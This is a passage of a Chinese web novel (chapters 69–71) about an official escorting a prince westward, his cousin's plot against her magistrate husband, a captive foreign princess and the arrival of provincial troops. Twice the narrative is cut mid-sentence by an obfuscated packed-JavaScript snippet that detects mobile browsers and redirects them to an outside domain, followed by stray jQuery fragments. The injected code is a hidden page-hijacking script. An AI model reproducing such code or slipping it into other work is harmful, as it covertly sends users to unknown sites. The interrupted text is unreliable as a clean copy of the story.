“这会儿起来正赶上午饭,吃了午饭再睡不迟。” 今天她们两个穿的是男装,读书人打扮。身披圆领袍,罗易头戴青玉冠,秦琼扎着幞头,丰神俊朗,不知情的人真要以为是两位年轻举子。 “郡守府的厨师做的菜好,我们也是赶回来吃午饭的。”秦琼说, 韦祎:“你们的事情了结了?” “华阳郡一共有两所我们家的镖局,昨天和前天足够走完,今早是去这里的集市和外邦街走了走,看看新鲜,我是第一次来西部呢。街上有卖糖糕和蜜饯的,我们买了好几包,要分给大家,还有酒酿的梅子,闻起来酸酸甜甜,给钱大哥一瓶。”罗易回答,“你还没好啊,迷迷糊糊的,你要办的事情呢?” 韦祎横了钱氿一眼,“酒?酿梅子?”重点在酒上,钱氿嘿嘿笑着把梅子谨慎地藏在荷叶包里头,“放心,梅子而已,吃不醉的。” 回答罗易的问题:“喔,东西送去了。” “还有呢?”罗易提醒。 “这人,有在短短几年中性情大变的可能吗?我怀疑是中了魇术或者被人给假冒了。”韦祎把刚才和栾凤的对话大致复述一遍。 剩下的三个人彼此看看,失笑,“栾大人从前不是这样的?” “我与他相识时绝非如此,小爚姐在京城颇有才名,他正是被才华吸引,前去结识。” 因为祖母柳凿长相就没那么好看,柳卞兄妹三个的长相也就一般。当然,下一辈的孩子都不是俊男美女。 “难道不是因为她姓柳?” “嗯……” “这不是很正常吗?”钱氿说。 “正常?当着我的面骂我全家是正常?”韦祎说,“就算要骂也不能当面吧,一定有什么问题。” “子隽,这个事实对你来说太过残酷了,这世上有九成九甚至更多的人与栾大人观点相同,他才是正常人。”罗易心中升起怜悯之情,“栾大人是认为你一定会赞同他,才这样说,他是真的把你当作好友,你这么想,辜负他的拳拳之心呀!” “太恶劣了。” “你心里其实知道,大部分人都这么想,只因为栾大人是你的好友,你就要求他和你一样,是你不对,你比他恶劣多了。” 当然是太恶劣了,栾凤只是一位杰出的“寻常人”,而韦祎和柳爚却打算弄死他! 69. 洗尘宴 “钱氿,你是男的,你也这样想吗?女人不能有才能之类的。” “韦公子真会挑人问。”秦琼开始笑了。 钱氿答:“我觉得无所谓,不过他们也觉得我有问题来着。” “你们呢?”韦祎看向了罗易和秦琼。 “哈!你在东海时,没听见连罗曏都要带头骂我是不守妇道的恶婆娘?”罗易决定给韦祎一点反应时间,“走了走了,吃饭去。” “合着是不正常的凑在一起了。” 午餐时栾凤有应酬,出门吃酒,韦祎让他尽管去,不要耽误。 柳爚陪着云攸纾、韦祎、罗易等人一起吃。她还挺有兴致地问要不要等晚上摆一台戏,云攸纾便问她丕州流行唱哪几出。 “有个《婉婉传》还有个什么《双龙记》,听说是新戏,戏班子都在排,差不了。” 这两部,似乎,都是罗晏给画了插图的话本,没想到这么有名气,已经排了新戏了! 说不定会在这些戏里面看见自己的形象,想到赵梦春那个蠢样子,韦祎出言阻止:“不要了,我们低调些,安静待着就好。” “也好,没有外人吵闹,方便我们安静说话。” 为了不太寒酸,叫来一班乐师,隔着好远,奏乐,叮叮咚咚地惹韦祎脊背发凉。 柳爚和栾凤生在京城,长在京城,吃惯了京城的风味,来了丕州之后,也不介意这儿的中州菜肴,所以郡守府的厨子会做京城菜,也会做丕州菜。 主菜是一道烧羊,巨大的一盆羊肉,丕州华阳的做法。 其次,京城流行的烤大鸭子一整只,去骨切成了片,佐以葱丝和咸口的面酱,有鱼,按照孔府名菜怀抱鲤的方子烧,野味山珍砂锅鹿筋,再加上一味红烧狮子头,算作五道主菜。 枣泥糕、莲子糕两品点心,另有小炒或青菜十碟,冷盘六碟,汤两品,分别是鱼汤和猪骨汤,饭是西部风味的羊肉萝卜蒸米饭,粥是荷叶粥。还有茶,又是刚才出现在书房的君山银针,果盘和干果蜜饯各二品。 平时没人这么吃饭,头桌上一共坐了四个人,其他人坐下一张桌子,这么多菜,根本吃不完。 一人身后站两位衣着考究的侍女,韦祎眼神动一动,身后的侍女已经夹了他看过去的那道菜放在面前,喝了两口汤,立刻又盛了一大勺汤,把汤碗满上,察言观色的好功夫! “爚姐,能不能让这几位姑娘撤了,不用人侍候。” “知道了,我平时也不会这么吃饭,这不是显得隆重嘛,”柳爚这会儿都在看着韦祎浑身不自在,“下去歇着吧,这儿不用侍候了。” 坐在下一张桌子的秦琼很自然的起身跟出去,到了外面,掏出小荷包来,一人一个小荷包,里面装着碎银子:“辛苦几位,辛苦。” 郡王身份规定的席面菜品数,柳爚吩咐厨师规规矩矩凑足了数目,精致程度根本比不上宫廷御厨。 不过,郡王身份的正经宫廷宴云攸纾也没吃过,他没法挑出毛病来。 好吃是真的,比宫廷菜吃着香,厨师为了凑够大盘,肉放得足足的,宫廷席被厨师做出了江湖菜的气息,云攸纾吃得满面红光。 最近这些日子是他生下来这么多年吃饭最香的时间,毕竟运动量增大了无数倍,饭量跟着涨上去,竟然长高了有一寸半,捏捏胳膊,能摸出一点有硬度的肌肉了! 长高了之后,他还是队伍里最矮的。 不仅是男人里面最矮的,算上罗易和秦琼,他还是最矮的,更要努力吃。 “吃了你更要多运动,不然就不是往上面长,而是横着长,下午消食了,加练一个时辰!” 一大块烧羊肉卡在嘴里,瞪着韦祎,恶狠狠嚼着,好像是在咬他。 “看什么看,看也要练,都行程过半了,此时不练你想什么时候练?” “好,练就练,我能怕你韦子隽?” 柳爚喜欢吃鱼,华阳郡是纯粹的内陆,想吃鱼,要从其他的郡运来,太奢侈了,不缺钱,但传出去风评不好,于是就少吃,逢年过节时吃一回。这次赶上云攸纾和韦祎来,借着待客的名义,可怜兮兮买来十几只活鱼,养着!日后慢慢吃。 “以后?你不是马上要回京去了,想什么以后?”饭后,柳爚跟韦祎说起馋鱼的事儿,韦祎看见了后院那一大缸活鱼,问。 “对啊,我都忘了,要结束了,本不必想着日后如何。”柳爚看看这缸鱼,面现惋惜,不知道她是不是在惋惜这缸鱼吃不完。 了结此间之事,柳爚就可以收拾行囊,回到京中柳宅。 她与栾凤没有子嗣,娘家势大,栾凤一死,柳爚算是和栾家没有关系了。 到了京城,柳家的农庄里有专门的鱼塘,顿顿吃鱼也寻常。 小时候,柳卞发现四女儿喜欢吃鱼,专门挪了几户渔夫到自家农庄里,现挖鱼塘,从苏州鱼米之乡运来一趟好鱼苗。随后,在民间寻来高人,研究水质,调制饲料。 除了供给柳府之外,能拿去卖,上了集市,一刻钟就会卖空,旁的农庄纷纷讨方子来养,没几年,京城里家家户户都能买得起原产苏州的肥美大鱼,算做了件好事。 管他是高人还是能人,通天的本领搅弄风云,还是要想着柴米油盐一餐一饭,柳爚在这里偷偷备上一缸活鱼解馋,未必要比杀掉丈夫次要。 “能不杀吗?” “我也很惋惜,和别人比,他算是好官,虽然一年比一年差。”柳爚咬牙,“官场风气,我自小便见,十几年过去,一样令人失望。无论是像我爹那样上下通达,广收门生,想要教出好徒弟,还是像二姑父那样闭门拒客,两袖清风以做楷模,一位是中枢宰执,一位是一院之长,你看,有用吗?” 不会让风气更坏,但也没办法快速变好。 若是有用,柳卞不会有吴签那样的门生,不会有栾凤这样的女婿。而礼夷院是膏腴衙门,国内国外的商人赶着送钱送礼,也许韦寅这位大长官是礼夷院最穷的官。 韦寅少年时就考进了礼夷院,当最末等的翻译吏。 凡有外国货物进京贩卖,需拿原产国出具的出境文书一份,到了京城,拿着这份文书去礼夷院办事处排队,交给翻译吏,必须由翻译吏核对其合法性,然后译出一份来,两份一起交上去。 等着上官盖印,再排队下发,拿到了两份盖印文书,商家才有资格在齐国地界上租赁商铺,开市卖货。 若是货物的数量和价值超过一定限额,需要再向更上层提交一份文书,再超再向上报,以此类推。 这里面能做的文章可大了,层层有油水捞。 末等翻译吏也就只能接触一些小商人,这些翻译吏明码标价,交了打点钱,一天内就可拿到回文,开始经营,若是不交,拖上三个月不给回文也不稀奇。 韦寅觉得不行。 他不想拿人贿赂,只想按章办事。 身为翻译吏,不遵守这拿钱办事的规矩是混不下去的,所以就不能当翻译吏了! 半年内当上了管翻译吏的九品官,但还是不行,这股风气仍旧刹不住。 那就继续升官,升到顶。 嗯,站得更高,看得更多,能量更大,还是没什么用。不让有油水,办公就懈怠,允许有油水,就腐败嘛。 吴签那样的,算是好官,能力不错,办事很积极,懂得审时度势,只不过是以权谋私向苦主索贿!栾凤也是好官,年轻有为,在华阳郡任上事无巨细亲力亲为,只不过是攀附权贵外加因为泄私愤而渎职而已! 想起来,罗易交代的两件事只办了一件。 她让韦祎去告诉栾凤,牢里关着的那位姑娘与华阳郡的西域密探有莫大关联,请求栾凤出手,帮忙把她的党羽都揪出来。 估计是罗易与柳爚合谋,要利用倒霉公主弄死栾凤,她是个绝佳的免罪人选。 猜到这儿,并不清楚罗易要如何收买芜夙办这件事,还是去问一问。 之前提起要弄死栾凤,韦祎想到的是自己动手,总不能真让四表姐自己做,她又不会武功,若是下毒或者收买杀手,会留下太多证据。 只有韦祎会觉得杀人只能用武功或者收买杀手,罗易和柳爚这种人,是此道高手,绝对能够让事情合理发生。就猜着罗易在东海为了躲出嫁,不知道干掉了多少位夫婿候选人。 入秋天凉,屋子外面有太阳时候还能暖和一些,在屋里冷,但还没到烤火盆的时候。罗易的房门关着,韦祎隔墙判断她正在窗户的位置,从高度分析,是坐着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795841|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不劳烦她走去应门,韦祎敲了敲窗户,“逸希,忙吗?” 窗户从里面推开,罗易把头探了出来,“子隽啊,请进吧!门没有锁。” 韦祎帮她关上窗户,绕到房门那里,推门进来。 窗下是一张有靠背的软榻,中间放了一个小茶几,上面有一碟子五香蚕豆,一碟子山楂饼,一整套茶具,冲的是大红袍,沥州名茶。还有一块帕子,抓了零食之后擦手用的。 罗易坐在茶几的右边,倚着软榻靠背,鞋脱在地上,腿上盖了一块绒毯子,把脚也缩进去,毯子边边向里卷,压住。 “你冷成这样?要不等会出去陪平焕练练,一准儿暖和起来。”韦祎看她冷觉得好笑。 “不了,你请坐。”手里还拿着一本书,是早上逛集市时,在书店买的话本,丕州流行的《双龙记》,插图版,“中午吃太多肉了,喝杯茶解腻,请。” 这个“请”,是让韦祎自己沏茶。 在茶几左边坐下,拈了块山楂饼放进嘴里。 “你觉得平焕长进如何?” “不如何。”说到这韦祎就头疼了,自己本就没当过先生,云攸纾更不是好材料。明明双方都有好好努力,先生不藏私,学生认真学,就是没长进。 其实也有进步,若说没锻炼之前连普通人的体力都不如,锻炼一番,勉强和普通人差不多。 和普通人差不多可不是目的啊!送去结盟国家作为人质,生命危险如影随形,起码会一点防身武艺才行。 “继续教他?” “教啊,就算是彻底教不会,我也要搅和他一路上都别想睡懒觉。” “原来是因为这个啊,我还以为,”罗易把书放下,抬起了头,“你觉得是你把他送到虎狼窝去,不努力到位心里会过意不去。” “是他爹要送他去,我只是运送工具而已,怎么会过意不去?” “喔!”罗易一脸不信的表情。 “如果把他送到了,他马上就像只猫崽子似的被弄死,也挺惨。” “说不定此行是他的大机缘,不是猫崽子而是老虎崽子,走这一趟,要变成猛虎的。”罗易摇头,果然,韦祎确实是在为云攸纾的未来担心,这才是他会有的逻辑。 “他不是你朋友吗?你不担心他?”韦祎反问,怎么聊到那个熊孩子身上去了,我过来是想说什么来着? “是啊,我也担心,但我也没什么可以帮忙的事情。再说了,他真的把我们当朋友吗?你教会了他,反而要被他用剑指着。” “好像是。” 那天太乱了,最终结果又不错,罗易不提起来,韦祎都要忘了还有这么一个戏码。 “即使如此,也要教他?” 韦祎自诩绝不是大公无私的圣人,于是他好好盘算了一番:“没关系,他练上二十年也打不到我。” “哈,也太可怜了!”忍俊不禁,笑了一会儿,“若是他在异国仍旧被人像捏死只小猫一样弄死,你就白费力气了。” “世事常常如此。” “今日比往日还要消极,听说什么事情了?” 说起今天柳爚的观点,罗易当然要反对一下子。 “若真的没有希望,那大家还坚持些什么,总归是有个盼头,才这么做。不说别的,韦寅大人在整顿通商之事上可谓是功绩彪炳,在他之前,异国通商这块一片混乱,是韦大人从整顿翻译吏开始,修订了更为合理的俸禄与奖惩制度,虽然贪腐消除不尽,但与三十年前相比,礼夷院清明了不止十倍。” 韦寅当翻译吏那会儿,向同为翻译的朋友抱怨,为何大家都要贪墨,这是在违法乱纪啊,怎会有人热衷于违法乱纪的事情呢! “你不知道吧,我可听说了,你虽然住在班房宿舍里,但你是丕州那边的有钱人家来的,前阵子刚在京郊外面买了一座田庄,你又不用养家,田庄里的出产全都拿去卖,每月都能得几十两银子。”同僚说。 “是有这么一回事,倒不是我有意隐瞒,而是庄子里面住人的地方还在整修,等修好了定要请大家去玩。” 韦寅是路过京郊,看见了有人挂牌要出售农庄,根据在老家的习惯,手里的钱够用就买下来,没当一回大事来办。 70. 增收计 “你看我,我和你拿的俸禄是一样的,每月区区九两白银,我祖母祖父年纪大,做不动活还得花钱抓药吃,我爹是个拉马车的,每月只有三两银子的赚头,我娘和我内人偶尔接些针线活做,赚几串钱而已,下面还有五个小孩,连带着要帮扶我那因病不能赚钱的伯伯一家子,兄弟几个,卖鱼的,打铁的,哪个不要我帮?” 说着就唉声叹气,“他们不拿钱去赌我都谢天谢地!不算我那伯伯和兄弟,是十二两银子,十一口人吃,幸亏我家在京城有祖宅,外头去赁宅更要养不起家,过几年孩子大了,若是出息,要送进好私塾里去念书,一年百两白银,我不拿好处钱,我这一大家子可怎么办?” 少年韦寅心想,你可以去考官,考上九品官立刻俸禄高三成。随即意识到,这位朋友能力十分平庸,只会一国的语言且常常翻译不准,考官是不可能的。 后来,韦寅重新制定了俸钱标准,有些向高薪养廉的方向发展,但高薪养廉也不是什么好事,一家衙门高薪养廉,整个朝廷要不要全都高薪养廉?监管怎么办?钱从哪里来? 况且,有些能力实在不行的人也配不上这份养廉钱,配套的人才选拔体系也要改,随之而来各种乱七八糟的扯皮事情连绵不断。 更何况,韦寅除了要研究对内的管理,更要对付所有大齐国与外邦相关的事务。 忙得焦头烂额才是常态,怪不得会发胖。 算是自食苦果,改发高薪,当然要精简人员,只留下勤劳肯干有才能的精英,都忙。 随着大齐国国力日益强盛,外交之事越来越多,今天“精简人员”之后的礼夷院,比三十年前的人数还多五成,韦寅永远是一脑门子官司。 “猜猜看,我们这些小商人,是更喜欢索贿的官员,还是廉洁自持的官员?” 韦祎考虑了一下子,罗晏他们一家子并不对自己避讳行贿送礼这件事:“你也没少在这件事上花钱。” “是啊,心疼死了,我明明是诚信经营,公平竞争,不搞欺行霸市,更没有做违法乱纪的营生,但是,若不给地方官府上上下下打点清楚,有的是麻烦会找上门来,与其等麻烦上门,什么查防火查通匪,在你门前挖下水沟,都先下令让你停业配合,整月整月的闭店,不如早识趣。” 这么一盘算,赚钱的本能反应上线了,“子隽啊,若是我跟你结婚,就没有人敢收我的打点钱!这么一想真是太划算了,若是你不喜欢我,我们可以分居两地!你跟我结婚,我每年给你三千两银子怎么样?” 罗易凑过来,这计划真的很可行! “谢……谢,钱还是算了……”韦祎瞪大了眼睛,虽然听起来很可行。 如今韦祎的四品官俸禄是每月五十两白银,算上加班费和各种津贴、奖金,扣除税款,每年不到八百两。 因为魏清泉早已病故,诰命夫人的银钱空悬,都算进韦祎这里,每月三十两,一年不到四百两。 二人名下的田产、地契每年能收一千两出头。 “你能赚多少钱?”罗易追问。 “嗯……按四品武将算,二千两左右。”韦祎快速计算了一下子。 没花销,所以对钱没感觉,做城防军营千总是从五品,俸禄收入比四品武官减半,也感觉不出来。 “噫!逊哦!”罗易嫌弃了,“我还想给你开价五千两一年呢,现在看,开价三千两足够了。” 每年白得三千两啊,收入翻了一番半呢,来钱可真快! “承蒙厚意,我不需要钱啊。”韦祎说。 “你这种人最难对付,钱都不要。”罗易又退回去了。 “那些收钱的官员,要钱做什么?”养家置业,俸禄钱足够了。 “人家和你的追求可不一样,吃老山参野灵芝紫河车进补,屋子里金瑶床玉珠帘,美人环绕,子孙满堂,花销大了去了。” “老山参苦成那个样子,纯参汤能喝?紫河车,是人胎盘,能吃得下去算他厉害。” 韦祎身受重伤时,宫里的贵妃姨母送来补药若干,柳不寒兴致勃勃把那颗五须老山参按方子炖了汤,拿来给韦祎喝,一勺入口,苦味沁人心脾,忍了老半天,死命咽下去。 “真有这么难喝?”柳不寒舀一勺尝尝,她没有韦祎的好耐心,起身跑到痰盂处呸了好几口。“别喝了,娘不为难你。” 柳不寒不说,韦祎也不准备喝,这参汤一定有加重伤势的效果。 剩下的百年老山参统统切薄片放进炖肉里,一锅炖肉只放两片,压住味道,勉强吃一吃。 人工种植一年即可收获的人参没什么味道,三百年五百年的山参苦得不行。 “别说是紫河车,还有人买来童男童女,按时放血来喝。” “天哪……”话本里的妖怪山大王才干的事情! “嗯,我也不信喝了童男童女的血就能补肾壮阳,不过,只有一些比较极端的老家伙才这么做,到了这一步,离死不远了。” “小姐,”秦琼推门进来了,“韦公子也在啊。” “符怜,何事?” 秦琼寻了把椅子坐下,在软榻的对面。 屋里没别人时不觉得,屋里有人看着自己和罗易坐在一张软榻上,韦祎怪不好意思的,挺直了腰杆正襟危坐。秦琼只当看不见:“咱们昨日去城西的镖局视察,那位局长要做东,请您过去住,还记得吧。” “记得。” “这不,您拒绝了之后他们派了几个伙计跟踪咱们,看见咱们进了郡守府,才作罢返回。于是今天又备了礼品和请柬送来,要请咱们去吃晚宴酒席,那会儿您在和栾夫人一同午餐,我拒绝说您不去,结果他们又找到了褚先生那里,褚先生接了请柬,说他要过去赴宴,刚出发,玉芝不放心褚先生和这儿的当地人私下见面,于是跟去了。” “我的天,玉芝也过于勇敢了,真不怕是鸿门宴。”罗易摇摇头,“然后呢?” “钱大哥看见,他也跟去了。” 罗易和韦祎双双松了一口气,“这叙述真要命。” “符怜你是专门负责传递坏消息的吗?”被秦琼吓了三次,从此之后,韦祎看见秦琼都要绕着走。 “你们被跟踪了,怎么不早说?传出去怎么办?”韦祎才知道罗易他们回来的路上被跟踪了。 “若是有个不认识的人突然出现,在我的地盘上视察一番就走,换了我我也要派人跟踪,然后打探消息,常理之中。”罗易说,“让人知道了我住这里,也没什么不好,既然有周冲在外头逍遥自在,这里真的存在什么敌对势力,也早就知道平郡王一行人到了华阳郡了。” “喂!” “没事儿,你留着周冲在外头,正巧有用。” 芜夙独自潜入了大齐国的最东边,西域丢了和亲公主,一定会派人出来找,把印信留在华阳,可能是芜夙在故布疑阵,隐瞒自己的去向,让西域的密探们在华阳附近打转。 最近,韦祎去取出了芜夙的印信,外头还有个周冲在散播消息,华阳的西域间谍们是时候行动了。 这种级别的行动靠韦祎是没办法应对,本地的常驻密探也没多少人,力量不够,还是要请郡守大人坐镇指挥,调动郡城内外的武装力量进行缉捕。 “所以,等栾大人应酬回来,找机会告诉他这个重大消息。”罗易看见韦祎嘴角抽抽,唯恐天下不乱,“现在就好在芜夙和那些西域间谍也不是一伙的,争取她挺容易。” 华阳郡内有西域间谍不稀奇,韦祎只觉得麻烦,并不惊讶。 马上,一件超出韦祎意料的事情发生了,栾凤竟然很热心插手此事,兴致勃勃跟着韦祎去牢房里“审问”芜夙。 华阳郡是丕州的中心,大郡城、交通要道、商贸集散地,但并不是丕州的州府。 州府在丕州的最西北边,定沙郡。 向北接壤凉州,向西接壤银州,军事郡城,是西北边防的重地,定沙郡城内九成人家都是军户,军民一体,百姓皆兵。 栾凤作为华阳郡郡守,若要升迁,要么是回到京城任职,要么是晋升为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807154|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州级官员,柳卞短时间内是不可能让他回京城,那剩下的一条路,就是去州府的定沙郡。 如今要起战事,能够成为军事重地的官员,将会有大把立功的机会,如何让皇帝看到自己的军事才能呢,先从抓外国渗透间谍开始吧! “大人、夫人,韦将军,门外有一军士传信,说丕州长史今日晨已经从定沙郡出发,明日即可到达华阳,这是丕州太守亲发的公文,请大人过目。” 昨天夜里,韦祎已经带着栾凤去见了芜夙,不例外,栾凤也被芜夙骂了一顿。韦祎对待芜夙连句重话都不说,都要被骂,栾凤去了就摆开大刑的架势吓唬她,当然更要被骂,正好芜夙的伤好得差不多了,骂人更有力气。 既然已经弄清楚芜夙是西域和亲公主,说不得日后会成为皇帝宫中的妃子呢!押在大牢里着实怠慢,所以今天一早,韦祎就来正堂找到栾凤、柳爚夫妇,商量着把芜夙移出大牢,在郡守府找间客房住。 “我昨天才说要给她上刑,今天就要把她当座上宾,让我郡守府颜面何存?” “灵均,她是西域公主,在公主面前丢脸怎么能算丢脸呢?”韦祎劝道。当然,不把芜夙从大牢里弄到郡守府里,怎么诱使西域间谍潜进府中救人? 就在这时,一位府内官进门来禀报,从定沙郡来的军士传信,丕州长史奉州太守之命前来华阳郡。 “他来做什么?”栾凤迟疑着接过了公文,当众打开来,看了一遍,皱起眉头,把公文传给韦祎。 韦祎以为栾凤会先递给柳爚,没想到要接,临时接过来囫囵看一眼,“消息传得可快。” “怎么回事啊?”柳爚挂着笑容问。 “州太守听闻了华阳郡有大批间谍作乱,恐生事端,于是让长史带着五百精兵前来,清除夷祸,以安民心,看时间是明早就到。”韦祎起身走过栾凤面前,把公文又递给柳爚,同时简单给她概括了一句。 “间谍作乱了两个多月他们不闻不问,这次我们有了西域公主做诱饵,他们立刻就来了!”栾凤猛一拍桌子,越想越气,怒容满面:“仗着他们有兵卒,来抢功劳!” 柳爚看了栾凤一眼,见他不说话,于是吩咐府内官道:“把送信的兵请进来见我们,你去吩咐在偏厅备上一桌好菜,等会你作陪他吃一顿,好好招待,问清了他是要即刻就走呢,还是要住下,安排妥当。” “喏。”府内官恭敬退去。 片刻,来送公文传信的士兵进来面见,看服饰,应是个小旗之类的小军官,斥候部队的编制。 府内官给这士兵介绍了在场的三个人,虽然府内官的介绍顺序是栾凤、柳爚、韦祎。但韦祎现在比栾凤官大一级,而且这士兵也知道中郎将是正四品武官,比郡守的从四品官大,先问韦祎好,再向栾凤、柳爚问安。 他既然被派来送信,自然是军中的伶俐人,“这点眼力劲儿都没有,一定没前途!”韦祎看见了栾凤得脸色迅速变黑,心中暗骂。 这兵是州府派来,来抢功劳的,故意挑拨华阳郡的人关系不和才好呢,怎么会是没有眼力劲?那是故意的! “辛苦这位校尉远道而来,我们华阳苦夷人作乱久矣,如今能得长史大人带兵前来相助,一定兵到乱除,还我华阳百姓太平。” 韦祎在那扶额,正假装自己不存在,栾凤在黑脸,怕他一张口就要骂人了,只能是柳爚问话安排。 “回禀夫人,太守亲令长史大人点五百精兵前来相助,明日早即到,长史大人带话,望郡守栾大人能够在清晨开城门的时辰前打开城门,我们悄然进城,不要惊动歹人。” “呵,你们长史要进城来,自然应该我亲自去开城门迎接他。”栾凤不阴不阳地答话,算是答应了。 “郡守在华阳也常常称赞咱们丕州的长史大人是一位谋将,用兵如神,明日早上一定亲自去迎接。还有一事请问,”柳爚不理栾凤,把话圆回来,继续说:“五百军士到了城内,是住在我们的郡驻军营,由我们来安排饮食所用,或是划拨一片空地驻扎?” 71. 笔耕辍 “夫人,长史说了,绝不能给华阳添太多麻烦,只要划拨一块城内的闲置之地,有水源即可,我们自行驻扎布防,饮食所用我们随队带来,又在华阳订了一批,不用麻烦郡守。” “原来如此,长史真是客气了,我们丕州本是一体,长史是来帮我们解决困难的,怎么能说麻烦我们呢。”柳爚笑道,“我们备好了酒菜,校尉好生歇息。” 一旁站着的府内官正盘算,这么长时间过去,厨房应该能做好席面,只差端上桌了,向柳爚应喏告退,带着送信兵出去,正好看见厨房的一个小丫头在拐角冲他挥手,意思是可以上菜了。 于是传菜,府内官陪着送信兵在偏厅吃。 送信兵心中奇怪,在场的将军不说话,甚至扭着头捂着脸,郡守也不说话,怪怪的,反而是郡守夫人在处理:“哎?这位官爷,可是今日郡守大人心情不佳,为何讨论军政大事夫人在场,还要替郡守大人劳动?” “你有所不知啊,我们郡守府一向如此,夫妻恩爱,与寻常人家不同,大小事情夫人都清楚,我们夫人常常帮着大人分忧解难,最近间谍作乱,到处抓幼童,搅得百姓不安,正是夫人办的案子,把幼童都给找了回来!” “原来夫人竟有男儿之能!” “岂止啊,我们夫人是当朝中书左仆射柳大人的女儿,未出嫁时,是名动京城的才女!” 送新兵打探了内部消息,自然要仔细记下,好回去禀报。 “灵均,我记着栗子巷和汤饼街中间有一座大宅,有案卷记载,宅主人家曾纵火烧毁民房两条街,因而将这间大宅子赔给郡里。郡里另外拿了钱重新盖了民房,本打算把那座宅子拍卖,挂了牌子一直卖不出去。那里四周空旷,不怕被百姓看到,有官差守宅子不会太脏乱,就暂时拨给长史大人吧,五百兵卒挤一挤都能住下。”无人开口,柳爚在那想了想,找处地方拨出去。 栾凤诧异道:“是前任郡守时发生的事情,你都知道?” “哦,上个月,汤饼街的孙家丢了个小女孩,我顺便翻了翻汤饼街都有什么案子,找找看附近的前科犯和能藏身的地方,因而有些印象。” “我看该给他安排在城东边,他们不是要水源吗,让他们好好喝一场那边盐湖的苦水!” “还记着州里让你养鱼的事儿呐!哈哈!”柳爚摇头笑笑。 “让我养鱼?全华阳郡唯一一块湖,是个盐湖,咸得发苦,把人扔在里面都能飘起来,鱼放进去立刻翻肚子!难不成让我挖池子再从井里打水灌进去?这儿的土根本盛不住水!” “好了好了,也没有非要让你养,别想了。” “养不成鱼,就把我叫到定沙郡去骂一顿,如今又来抢抓间谍的功劳,就是因为瞧不起我!” “怎么会呢?他是军官,当然清楚丕州的水文地理,前些年让你带着百姓养鱼是故意刁难你,这回要抢功,是忌惮你,他怕你比他风头更盛,咱们就更要见招拆招啊。” 韦祎看着柳爚的神情,有一丝不耐穿插在温和里面,这熟练程度,看来这些年没少说这段话,张口就来。 “他们是怎么得知的消息,咱们没把这事儿传到州府。”过了一会儿,栾凤回过味儿来,也正是韦祎想问的,不过他是突然心一虚,没开口。那个,周冲正在外边自由自在呢。 “郡守府上上下下这么多人,牢里有那么多狱卒,想要知道我们郡守府有客还不简单?他们是州上官,是军制,在州内的郡里安插眼线理所应当,常年忌惮你有才有功,当然要盯紧你的动向。”柳爚说。 “这么说,他们早就清楚华阳的夷人闹事,却故意不闻不问。” “当然,临近面圣考核,他们乐于看你出乱子,怎么可能出手呢?” 为什么小爚姐对答得这么快?而且按照前些日子的事情来看,她在府内的人事上很有把握,怎会钉子遍地?韦祎想着,难不成是她找的丕州太守派人来? 官场之中,兵不厌诈。谁不会使个手段? 记着派个校尉去城北外面的出使大军驻扎处通报一声,不要等明早寻哨乍然看见州长史的队伍吓一跳,起冲突就不好了。 “怎么会是我去州府找的人?”柳爚很诧异,这位单纯表弟竟然能想到这一重,一定是混官场混的,“各郡都有州府安插的人,我知道是谁,他的职位足以让他清楚你们的事情,至于他要不要去报告州府,州府要怎么做,我就控制不了了。” “会不会妨碍计划?” “兵来将挡,随机应变,担心没用。对了,来了好几天,你都没有出去逛逛,正赶上大好秋日,白天不冷不热,正适合逛街,得闲就陪罗姑娘一起出去啊。” “我得守着那熊孩子。” “带着他一起,估计他也想出去看看。” “知道了,我带着他出去转一圈,让外面的密探都亲眼看见,我们确实就住在郡守府里面。” “这是你说的,不是我说的。”柳爚点点头。 “知道知道,还有把那位倒霉公主从牢里挪出来的事,别忘了。” “明天之前,一准把她给移到客房去。”柳爚答应。 在郡守府后院里面找一间客房,离韦祎的房间不远。 叫来佣人,把房里的家具全都搬出来,随后叫来官府的铁匠,比着房间内部的大小造了一间铁笼,再把家具全放回房间去。 夜里加班干,拇指粗的铁杆子库房里现成就有,叮叮铛铛打铁,做成间笼子,丑时中就完工大吉。 “有必要吗?” “郡守大人说了,不能让她住得太舒服。”柳爚假笑道。 “也成,这样逃跑的风险变低了。”造都造了,只能说它好。 “劳烦韦将军走一趟,把公主殿下从牢里押解过来。” “好好好,我这就去,你别打官腔了。” “等等,你们明早要不要与我一起去城门迎接?” “不想去,但是那个长史和太守什么的,已经知道了我在这里,我就不能不去,明早我拎着倒霉王爷一起去。” “这都丑时末了,明早开城门前赶去门口,至少要卯时初起来,现在回去,只有一个时辰好睡,一躺下就起来太痛苦,不如不睡。” 有柳爚在管改造客房的事情,栾凤回去书房忙别的事情,韦祎远远看着,书房子时过后才熄灯。 “好主意。”反正不管别人睡不睡,韦祎都不睡。 把芜夙从牢里转移到客房之后,韦祎和柳爚去后厨房门口的石凳上坐着,一人屁股下面铺个软垫子,中间放一个大号火盆,还没买冬炭,烧的是木头,只需要烧一个时辰,木头也无妨。 “我打坐一会。”韦祎在石凳子上抱着肩膀半闭上眼。 柳爚很好奇地左右看看,“我是不是不能出声打扰你?” “没事,我不仅可以跟你唠嗑,而且能同时看着火。”韦祎觉得好笑,紧接着又想到:“但你不能给我读鬼故事。” “看来这打坐入定没有坊间武侠小说里写得那么玄。”柳爚在对面坐下,继续观察。 